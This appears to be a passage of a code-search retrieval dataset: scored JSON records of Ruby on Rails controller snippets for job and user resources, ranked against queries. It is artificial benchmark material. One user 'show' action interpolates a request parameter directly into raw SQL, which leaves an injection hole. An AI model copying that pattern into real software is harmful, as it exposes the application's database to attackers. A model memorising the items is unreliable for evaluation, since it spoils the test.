"text": "def get_jobs(url)\n result = JSON.parse(get_data(url))\n job_list = []\n result[\"jobs\"].each do |job|\n job = JenkinsJob.new job[\"name\"], job[\"color\"], job[\"url\"]\n job_list << job\n end\n job_list\nend",
"title": ""
},
{
"docid": "23ecf5f384454121110265e184aa9112",
"score": "0.6289007",
"text": "def new\n @device = Device.find(params[:device_id]) \n @job = @device.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "bde230ee218d5c3bc7ec87ee98597e2d",
"score": "0.6286024",
"text": "def job_params\n params.require(:job).permit(:name, :target, :current, :status)\n end",
"title": ""
},
{
"docid": "0a36891a11d63b67a30ce58d486a635f",
"score": "0.6285204",
"text": "def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to verify_job_url(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0579a1d1ed7db79c455bb5960d9804b9",
"score": "0.627709",
"text": "def create\n @job = Job.new(job_params)\n\n param_ids = params[:job][:param_ids]\n if param_ids\n param_ids.each do |param_id|\n @job.params << Param.find(param_id) unless param_id.blank? || param_id.to_i == 0\n end\n end\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d72c3b427afee44e34580d0d26dbbaf",
"score": "0.6275034",
"text": "def create\n @job = Job.new(job_params)\n puts (@job.description)\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2b1f633b52e592210938f5fe891a4242",
"score": "0.6272077",
"text": "def create\n @worker_job = WorkerJob.new(worker_job_params)\n\n respond_to do |format|\n if @worker_job.save\n format.html { redirect_to @worker_job, notice: 'Worker job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @worker_job }\n else\n format.html { render action: 'new' }\n format.json { render json: @worker_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a58b40cd99146994166157d6e837591a",
"score": "0.6267853",
"text": "def create\n @job_folio = JobFolio.new(params[:job_folio])\n\n respond_to do |format|\n if @job_folio.save\n format.html { redirect_to @job_folio, notice: 'Job folio was successfully created.' }\n format.json { render json: @job_folio, status: :created, location: @job_folio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_folio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3f017bbcdf0886877a5aeffe99f828a",
"score": "0.62621814",
"text": "def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "b3f017bbcdf0886877a5aeffe99f828a",
"score": "0.62621814",
"text": "def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "b3f017bbcdf0886877a5aeffe99f828a",
"score": "0.62621814",
"text": "def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "b3f017bbcdf0886877a5aeffe99f828a",
"score": "0.62621814",
"text": "def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "0a1b3a31840fdfe76c861f14a17efae9",
"score": "0.6244258",
"text": "def create\n job = Job.find(params[:job_id])\n @saved_job = SavedJob.create(:job_id => params[:job_id], :user_id => current_user().id)\n\n respond_to do |format|\n if @saved_job.save\n format.html { redirect_to @saved_job, :notice => 'Saved job was successfully created.' }\n format.js\n format.json { render :json => @saved_job, :status => :created, :location => @saved_job }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @saved_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a825fb18db4245e5a5b9165dc7b81dac",
"score": "0.6242678",
"text": "def create\n @job = Job.new(job_params)\n if @job.save\n flash[:success] = 'Job was successfully created.'\n redirect_to @job \n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "f583caa3d9a5bfb923d59dd688914808",
"score": "0.62420696",
"text": "def create\n @findjob = Findjob.new(findjob_params)\n\n respond_to do |format|\n if @findjob.save\n format.html { redirect_to @findjob, notice: 'Findjob was successfully created.' }\n format.json { render :show, status: :created, location: @findjob }\n else\n format.html { render :new }\n format.json { render json: @findjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6d4b8aaf57a73274385bcf17e1b94b9b",
"score": "0.62357044",
"text": "def create\n job = Job.new\n job.job_name = params[:job_name]\n job.description = params[:description]\n job.quote = params[:quote].to_f\n job.running_total = 0\n \n if job.save\n jobConnect = JobToUser.new\n jobConnect.job_id = job.id\n jobConnect.user_id = current_user.id\n jobConnect.save\n redirect_to(\"/services/show\", :notice => 'Job was successfully created.')\n else\n redirect_to(\"/services/show\", :notice => 'Job Failed to Save. Try Again Later.')\n end\n end",
"title": ""
},
{
"docid": "1275e0ac4848a9962864395d3d1191e8",
"score": "0.6235201",
"text": "def create\n # @nanny_job = NannyJob.new(nanny_job_params)\n @nanny_job = current_user.nanny_jobs.build(nanny_job_params)\n\n respond_to do |format|\n if @nanny_job.save\n format.html { redirect_to @nanny_job, notice: 'Nanny job was successfully created.' }\n format.json { render :show, status: :created, location: @nanny_job }\n else\n format.html { render :new }\n format.json { render json: @nanny_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "205cba44dd883fca6b39d16e1b02e83f",
"score": "0.6229365",
"text": "def submit_batch_job(job_id)\n request_path = \"/jobs/#{job_id}/queue\"\n request_body = \"submit\"\n response = http.request_post(request_path, request_body)\n handle_response({ request_method: 'POST', request_path: request_path, request_body: request_body }, response)\n end",
"title": ""
},
{
"docid": "3dfd6d4f76ff3b54cd602b83b8431b22",
"score": "0.6205252",
"text": "def create\n job_id = ProductScraperJob.perform_async current_user.id, params[:url]\n respond_to do |format|\n format.html { redirect_to root_path, notice: \"Successfully queued..\" }\n format.json { render json: { id: job_id }.to_json }\n end\n end",
"title": ""
},
{
"docid": "09e6b92aa79c1ab8cbd0a140ee30e378",
"score": "0.6205074",
"text": "def create\n @printjob = Printjob.new(printjob_params)\n\n\n respond_to do |format|\n if @printjob.save\n format.html { redirect_to @printjob, notice: 'Printjob was successfully created.' }\n format.json { render :show, status: :created, location: @printjob }\n else\n format.html { render :new }\n format.json { render json: @printjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c8d79db78a06a6666a9ba43eed307381",
"score": "0.620479",
"text": "def job_params\n params.require(:job).permit(:title, :description, :name, :email, :category, :deadline)\n end",
"title": ""
},
{
"docid": "af28c5048a27e798454546dee8274dde",
"score": "0.61994207",
"text": "def create\n @emp_job = EmpJob.new(params[:emp_job])\n\n respond_to do |format|\n if @emp_job.save\n format.html { redirect_to @emp_job, notice: 'Emp job was successfully created.' }\n format.json { render json: @emp_job, status: :created, location: @emp_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @emp_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2fa70e68f3047e3553e67332f1e24a1d",
"score": "0.619894",
"text": "def send_job(job)\n begin\n response = RestClient::Request.execute(\n method: :post,\n url: build_jobs_url,\n payload: job.to_codem_json,\n timeout: EBU::NETWORK_TIMEOUT,\n open_timeout: EBU::NETWORK_TIMEOUT\n )\n if response.code == 202\n if (obj = JSON.parse(response.to_str))\n obj[\"job_id\"]\n else\n raise \"Job #{job.id} was created on transcoder #{self.id}, but no job ID was returned.\"\n end\n else\n nil\n end\n rescue Timeout::Error => e\n nil\n rescue => e\n nil\n end\n end",
"title": ""
},
{
"docid": "7d21e225e8314dfb50ab349d4c26f51b",
"score": "0.61986345",
"text": "def create\n\n @customer_job = CustomerJob.new( customer_job_params )\n\n respond_to do |format|\n if @customer_job.save\n format.html { redirect_to customer_jobs_url, notice: 'Customer job was successfully created.' }\n format.json { render :show, status: :created, location: @customer_job }\n else\n format.html { render :new }\n format.json { render json: @customer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "251fe2e6c0cc7b8189978777d4bf4f09",
"score": "0.61953866",
"text": "def create\n @print_job = PrintJob.new(print_job_params)\n\n respond_to do |format|\n if @print_job.save\n format.html { redirect_to @print_job, notice: 'Print job was successfully created.' }\n format.json { render :show, status: :created, location: @print_job }\n else\n format.html { render :new }\n format.json { render json: @print_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "43718f2dae9967348fbe0fd3369c0824",
"score": "0.61947423",
"text": "def create\n @db_job = DbJob.new(db_job_params)\n\n respond_to do |format|\n if @db_job.save\n format.html { redirect_to @db_job, notice: 'Db job was successfully created.' }\n format.json { render :show, status: :created, location: @db_job }\n else\n format.html { render :new }\n format.json { render json: @db_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a83b992b6102e8d4c0ca50587129546d",
"score": "0.6193481",
"text": "def create \n @job = Job.new(job_params)\n\n if @job.save \n render 'jobs/create'\n end \n end",
"title": ""
},
{
"docid": "0f2d9308bcfc94c7160e15ddd473d9e5",
"score": "0.6191382",
"text": "def create\n @jobtype = Jobtype.new(params[:jobtype])\n \n if @jobtype.save\n render_json \"success\"\n else\n render_error \"failure\"\n end\n end",
"title": ""
},
{
"docid": "fea1803df5559533877cc73f3416b54a",
"score": "0.617558",
"text": "def create\n @job_progress = JobProgress.new(job_progress_params)\n\n respond_to do |format|\n if @job_progress.save\n format.html { redirect_to @job_progress, notice: 'Job progress was successfully created.' }\n format.json { render :show, status: :created, location: @job_progress }\n else\n format.html { render :new }\n format.json { render json: @job_progress.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8eeb74ad56fcbe6ee710ae88a33c5399",
"score": "0.61706126",
"text": "def create\n @job = Job.new(job_params)\n respond_to do |format|\n if @job.save_series\n record_activity :create, @job\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n @job_type = JobType.find_by(id: @job.job_type_id)\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "087f3afef7793e6fb84fae861b8dc9d0",
"score": "0.61699426",
"text": "def create\n @job = Job.new(job_params)\n @job.poster_id = current_user.id\n respond_to do |format|\n if @job.save\n\tformat.html { \n\t if session[:batch_job] == true\n\t redirect_to batch_job_path\n\t else\n\t redirect_to job_build_path(job_id: @job.id, id: :job_scope)\n\t end }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
f260b0743e3635ff851ba1fb8f391b00 | GET /users/1 GET /users/1.json | [
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] | [
{
"docid": "4152fb6556ae83f7cdd6c362f17ad9bf",
"score": "0.81046426",
"text": "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"title": ""
},
{
"docid": "dc42dee84c8c4520838552e21fd50015",
"score": "0.7703556",
"text": "def get \n render :json => User.find(params[:id])\n end",
"title": ""
},
{
"docid": "71db21a0fd78fb13a38206a1428dc8c7",
"score": "0.77011716",
"text": "def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"title": ""
},
{
"docid": "fd6f331d604ba2ad8967a7e5ed218329",
"score": "0.76262826",
"text": "def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"title": ""
},
{
"docid": "8a29471646191d84def95f7af1e081bf",
"score": "0.7582106",
"text": "def users(args = {})\n get(\"/users.json\",args)\n end",
"title": ""
},
{
"docid": "5b63c4884bbb91e0cf09bbd216d6d4be",
"score": "0.74818",
"text": "def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"title": ""
},
{
"docid": "1aa76663dd248dddbb8870aff66a203e",
"score": "0.7461394",
"text": "def user\n render :json=> User.find(params[:id])\n end",
"title": ""
},
{
"docid": "8ffbb4eb100099492ebe99506698d431",
"score": "0.7446168",
"text": "def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end",
"title": ""
},
{
"docid": "d494fa7473e95685438fc24225e0703a",
"score": "0.730656",
"text": "def show\n user = User.find(params[:id])\n render json: @user\nend",
"title": ""
},
{
"docid": "3981a2600783dbd5d15acfaddd7bae82",
"score": "0.7300699",
"text": "def show\n user = User.find(params[:id])\n render json: user\n end",
"title": ""
},
{
"docid": "b5d74191c7b212edb9e1b9b1738d2a16",
"score": "0.72902125",
"text": "def show\n user = User.find(params[:id])\n\n render json: user\n end",
"title": ""
},
{
"docid": "a8a705601bb27e8597bf2848e9a878ce",
"score": "0.72781444",
"text": "def show\n render json: Users.find(params[\"id\"])\n end",
"title": ""
},
{
"docid": "bab09f816e3f072652fbd4d8feeb7f74",
"score": "0.72358584",
"text": "def show\n user = User.find(params[:id])\n render json: user\n end",
"title": ""
},
{
"docid": "65d8477211a5739533bddcfd0baf645c",
"score": "0.72335744",
"text": "def show\n @user = User.find(params[:id])\n render json: @user\n end",
"title": ""
},
{
"docid": "65d8477211a5739533bddcfd0baf645c",
"score": "0.72335744",
"text": "def show\n @user = User.find(params[:id])\n render json: @user\n end",
"title": ""
},
{
"docid": "65d8477211a5739533bddcfd0baf645c",
"score": "0.72335744",
"text": "def show\n @user = User.find(params[:id])\n render json: @user\n end",
"title": ""
},
{
"docid": "65d8477211a5739533bddcfd0baf645c",
"score": "0.72335744",
"text": "def show\n @user = User.find(params[:id])\n render json: @user\n end",
"title": ""
},
{
"docid": "65d8477211a5739533bddcfd0baf645c",
"score": "0.72335744",
"text": "def show\n @user = User.find(params[:id])\n render json: @user\n end",
"title": ""
},
{
"docid": "65d8477211a5739533bddcfd0baf645c",
"score": "0.72335744",
"text": "def show\n @user = User.find(params[:id])\n render json: @user\n end",
"title": ""
},
{
"docid": "65d8477211a5739533bddcfd0baf645c",
"score": "0.72335744",
"text": "def show\n @user = User.find(params[:id])\n render json: @user\n end",
"title": ""
},
{
"docid": "6c7d223983e0c60f9f46c0e61f2a405f",
"score": "0.7225407",
"text": "def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"title": ""
},
{
"docid": "6c7d223983e0c60f9f46c0e61f2a405f",
"score": "0.7225407",
"text": "def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"title": ""
},
{
"docid": "6c7d223983e0c60f9f46c0e61f2a405f",
"score": "0.7225407",
"text": "def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"title": ""
},
{
"docid": "6c7d223983e0c60f9f46c0e61f2a405f",
"score": "0.7225407",
"text": "def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"title": ""
},
{
"docid": "6c7d223983e0c60f9f46c0e61f2a405f",
"score": "0.7225407",
"text": "def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"title": ""
},
{
"docid": "6c7d223983e0c60f9f46c0e61f2a405f",
"score": "0.7225407",
"text": "def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"title": ""
},
{
"docid": "6c7d223983e0c60f9f46c0e61f2a405f",
"score": "0.7225407",
"text": "def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"title": ""
},
{
"docid": "6c7d223983e0c60f9f46c0e61f2a405f",
"score": "0.7225407",
"text": "def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"title": ""
},
{
"docid": "d2bb11e94e9049e0545696842fba9a84",
"score": "0.72222257",
"text": "def show\n user = User.select(:id, :username, :email).find(params[:id])\n render :json => user\n end",
"title": ""
},
{
"docid": "de5f6a7372447e4fbe89aee22eda9a3a",
"score": "0.72165024",
"text": "def show\n render json: User.find(params[\"id\"])\n end",
"title": ""
},
{
"docid": "85f5c91086d711417893f5d5fe563991",
"score": "0.72137505",
"text": "def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"title": ""
},
{
"docid": "19bdd4977a50d6b23eee45a9d5a19cf9",
"score": "0.72096044",
"text": "def show\n @user = User.find(params[:id])\n render json: @user\nend",
"title": ""
},
{
"docid": "7f132fd4985e6199b7909f28ab132290",
"score": "0.71930283",
"text": "def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"title": ""
},
{
"docid": "8f68511f9ddb01620f4cd5d541acdcde",
"score": "0.7182953",
"text": "def show\n render json: User.find(params[:id])\n end",
"title": ""
},
{
"docid": "349a777256ee7d81c6506f74d1d24ddf",
"score": "0.7182144",
"text": "def show\n @user = User.find(params[:id])\n render json:@user\n end",
"title": ""
},
{
"docid": "349a777256ee7d81c6506f74d1d24ddf",
"score": "0.7182144",
"text": "def show\n @user = User.find(params[:id])\n render json:@user\n end",
"title": ""
},
{
"docid": "7c247ba79168a97cf941d927b57bb58a",
"score": "0.7180289",
"text": "def get_by_id\n \n # the user_id param comes from our route\n user = User.find(params[:user_id])\n \n if user\n render json: user, status: :ok\n else\n render json: { errors: 'User not found' }, status: :not_found\n end\n end",
"title": ""
},
{
"docid": "f9fe9ad46fe60e99b85e85afe7f50ace",
"score": "0.71750754",
"text": "def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"title": ""
},
{
"docid": "924e281ba379daa8c20085f22e4c6b83",
"score": "0.7173851",
"text": "def get_user_details\n @user = User.find_by_id(params[:user_id])\n render json: @user\n end",
"title": ""
},
{
"docid": "7cb3b795362ea530aaa8fe3059b48394",
"score": "0.71640617",
"text": "def show\n render json: User.find(params[:id])\n end",
"title": ""
},
{
"docid": "b9ff0dee5dcfbd1cb81e2a83c6d9cba3",
"score": "0.71636444",
"text": "def show\n user = User.find_by(id: params[:id])\n render json: user, status: :ok\n end",
"title": ""
},
{
"docid": "a1c74b13b5fe3f97abb1cc8241fbd986",
"score": "0.71453786",
"text": "def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end",
"title": ""
},
{
"docid": "1e7f625f7459e16a7725bd582fd30c47",
"score": "0.7145053",
"text": "def show\n @user = User.find(params[:id])\n render json: {user: @user}\n end",
"title": ""
},
{
"docid": "1b36c6d085c50d9b823abd98e9d4a7dd",
"score": "0.7129776",
"text": "def list_users\n self.class.get('/users')\n end",
"title": ""
},
{
"docid": "353770b6f07f8b1c7dd919fe1034eb9f",
"score": "0.71256554",
"text": "def show\n user = User.find(params[:id])\n render json: user\n end",
"title": ""
},
{
"docid": "2286f0557707443aeec052d23ff0540d",
"score": "0.71160513",
"text": "def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end",
"title": ""
},
{
"docid": "9c4504ec963be60f8d8c8ca566151d38",
"score": "0.7095665",
"text": "def show\n render :json => User.find(params[:id])\n end",
"title": ""
},
{
"docid": "a8b0ea4e9453af7ee0eedcc1225dcd69",
"score": "0.70941204",
"text": "def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response[\"user\"]\n end",
"title": ""
},
{
"docid": "bf5363394d6d4ff127444d1afe5e0e7e",
"score": "0.70772994",
"text": "def index\n users = User.all\n json_response(users)\n end",
"title": ""
},
{
"docid": "48d5d1d2f665999e16514d2395ac5bfb",
"score": "0.7070785",
"text": "def show\n @user = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM users \n WHERE username = '#{params[:username].downcase}' \n LIMIT 1\").first\n\n respond_to do |format|\n format.html\n format.json {render json: User.find(@user[0])}\n end\n end",
"title": ""
},
{
"docid": "f708851062f406c6d26a90f05f73b580",
"score": "0.7070607",
"text": "def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response.first[1]\n end",
"title": ""
},
{
"docid": "fae5732ad700f76c8dd4523d896efa35",
"score": "0.7063351",
"text": "def show\n @users = User.all\n json_response(@users)\n end",
"title": ""
},
{
"docid": "3d66018225bafa65eec9033addb463cb",
"score": "0.70552826",
"text": "def index\n json_response(User.all) \n end",
"title": ""
},
{
"docid": "30eac0ca9dead8800079b7a4d57064f6",
"score": "0.7025071",
"text": "def get(user_id:)\n path = '/users/{userId}'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end",
"title": ""
},
{
"docid": "c116c3490a772195385dd208ab3a5d8d",
"score": "0.7014598",
"text": "def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"title": ""
},
{
"docid": "93b5ebcaf641a37b803c4c6ed2dcd393",
"score": "0.70047677",
"text": "def show\n # @user = User.first\n user = User.find(params[:id])\n render json: user\n end",
"title": ""
},
{
"docid": "556fd9d21f126f4ff41e50653036cf8d",
"score": "0.6998373",
"text": "def user(user_id, params = {})\n make_get_request(\"/users/#{user_id}\", params)\n end",
"title": ""
},
{
"docid": "84393a98662ed06c301077a7732d53e3",
"score": "0.69910055",
"text": "def show_user_profile\n @user = User.find(username: params[:username])\n render json: @user\n end",
"title": ""
},
{
"docid": "af3fe059b8783eb0ed50a4bc86e22374",
"score": "0.6984177",
"text": "def user(id = nil)\n id.to_i.zero? ? get('/user') : get(\"/users/#{id}\")\n end",
"title": ""
},
{
"docid": "216cbf2a5db54226f73d34e59c220fdd",
"score": "0.6979766",
"text": "def get_user id, options={}, headers={}\n @connection.get \"users/#{id}.json\", options, headers\n end",
"title": ""
},
{
"docid": "b81f244a99253f0069a1d2c05ae6c17d",
"score": "0.6972448",
"text": "def user(user=nil)\n if user\n get(\"/users/#{user}\", {}, 3)\n else\n get(\"/user\", {}, 3)\n end\n end",
"title": ""
},
{
"docid": "cce6ce43b1ae9368d8080d1a8780a06e",
"score": "0.6972228",
"text": "def index\n \n @user = User.find(current_user.id) \n\n respond_to do |format|\n format.html { render action: \"show\" }\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "28e8d3b81f901997e6fe53f0eb763953",
"score": "0.6968384",
"text": "def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "0829eaf7db2e64003b873401ca41ff1d",
"score": "0.69666255",
"text": "def get_user(user_id:)\n parse(JSON.parse(connection.get(\"users/#{user_id}\").body))\n end",
"title": ""
},
{
"docid": "43318c4acd2fe493fd6cf8814b6a5d8a",
"score": "0.6956339",
"text": "def index\n user= User.all\n render json: {users:user}\n end",
"title": ""
},
{
"docid": "e6e032f050ff950998063558c9598b99",
"score": "0.69506294",
"text": "def index\r\n users = User.all\r\n render json: users\r\n end",
"title": ""
},
{
"docid": "75b4a7bd01d6a336145305885ae8d8b2",
"score": "0.6945614",
"text": "def show\n # puts params[:id]\n render json: User.find(params[:id])\n end",
"title": ""
},
{
"docid": "c9b85f0478ccc544f3bd8f083ef3180b",
"score": "0.6943135",
"text": "def get_user_info\n id = params[\"id\"]\n error_list = []\n status = 1\n json_response = {}\n user = User.find_by(id: id)\n\n if user.nil?\n error_list.append(\"Error: The specified user doesn't exist.\")\n status = -1\n else\n json_response[\"user\"] = user.get_user_json_data\n end\n\n if status == -1\n json_response[\"errors\"] = error_list\n end\n\n json_response[\"status\"] = status\n\n # Format the json_response into proper JSON and respond with it\n json_response = json_response.to_json\n\n respond_to do |format|\n format.json { render json: json_response }\n end\n end",
"title": ""
},
{
"docid": "161f3a8d9f51e4debff76acf0f6d4b5f",
"score": "0.69351804",
"text": "def show\n @user = User.find(params[:id])\n if @user\n render json: {\n user: @user\n }\n else\n render json: {\n status: 500,\n errors: ['user not found']\n }\n end\n end",
"title": ""
},
{
"docid": "6c06ae91d84c999b50d1830d37605337",
"score": "0.6932212",
"text": "def index\n users = User.all\n render json: users\n end",
"title": ""
},
{
"docid": "6c06ae91d84c999b50d1830d37605337",
"score": "0.6932212",
"text": "def index\n users = User.all\n render json: users\n end",
"title": ""
},
{
"docid": "6c06ae91d84c999b50d1830d37605337",
"score": "0.6932212",
"text": "def index\n users = User.all\n render json: users\n end",
"title": ""
},
{
"docid": "6c06ae91d84c999b50d1830d37605337",
"score": "0.6932212",
"text": "def index\n users = User.all\n render json: users\n end",
"title": ""
},
{
"docid": "2d633bc52ede238a3201e0ea87a75e7b",
"score": "0.6927094",
"text": "def show\n @user = User.find(params[:id])\n render json: {\n username: @user.username,\n first_name: @user.first_name,\n last_name: @user.last_name,\n email: @user.email,\n phone_number: @user.phone_number,\n contacts: @user.contacts\n }, status: :ok\n end",
"title": ""
},
{
"docid": "1fbcd5e6ec82a6779f3e29334f038b4b",
"score": "0.69255126",
"text": "def get_user(user_id)\n request(Route.new(:GET, '/users/%{user_id}', user_id: user_id))\n end",
"title": ""
},
{
"docid": "18aa58d85b6b15852f136ab63b9fc187",
"score": "0.6925136",
"text": "def show\n @user = User.find(params[:id])\n render 'api/v1/users/show'\n end",
"title": ""
},
{
"docid": "03e2680ef9457cfdb2ff079c53895894",
"score": "0.6917375",
"text": "def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"title": ""
},
{
"docid": "2186bc9338a167659132e2cf536be081",
"score": "0.6907744",
"text": "def index\n users = User.all\n render json: users \n end",
"title": ""
},
{
"docid": "47ce68b49a17eadd157d995cdf2d00e9",
"score": "0.68947464",
"text": "def user(user_id)\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n get(\"users/#{user_id}.json\", params)\n end",
"title": ""
},
{
"docid": "cc3c9c14c682f2377662f80d58f63ea2",
"score": "0.6882589",
"text": "def index\n users = User.all \n render json: users \n end",
"title": ""
},
{
"docid": "8ba52e39ede71c9113da6cb5a5b8257d",
"score": "0.6875701",
"text": "def list\r\n users = User.all\r\n render json: users\r\n end",
"title": ""
},
{
"docid": "37350c28072347bd30b1661b65400856",
"score": "0.68749416",
"text": "def json_show_user_profile_by_user_id\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n format.json { render json: @user.as_json(only:[:email,:username]) }\n end\n end",
"title": ""
},
{
"docid": "10789f1472d581698ecfa1efa8118ef6",
"score": "0.68633634",
"text": "def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"title": ""
},
{
"docid": "9c1e4f00f99f859e4983187a27afe14b",
"score": "0.6861618",
"text": "def show\n user = User.find_by(uid: params[:id])\n if user\n puts 'USER FOUND'\n render json: user\n else\n puts 'NO USER'\n render json: 'no user'.to_json\n end\n end",
"title": ""
},
{
"docid": "ed07d502361b7d7227d48441d1544e8a",
"score": "0.6858055",
"text": "def show\n render json: UserService.get_user(params[:id]), includes: 'questions, answers'\n end",
"title": ""
},
{
"docid": "6d573ec7e39cdda3ba66cf71a28fbbba",
"score": "0.6855495",
"text": "def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"title": ""
},
{
"docid": "6ba783d047c76314a9df70c0b92707ac",
"score": "0.68530583",
"text": "def index\n render :json => User.all, status: 200\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
"title": ""
},
{
"docid": "92c38d204173af55357406763326ad78",
"score": "0.685255",
"text": "def index\n @users = User.all\n render json: @users\n end",
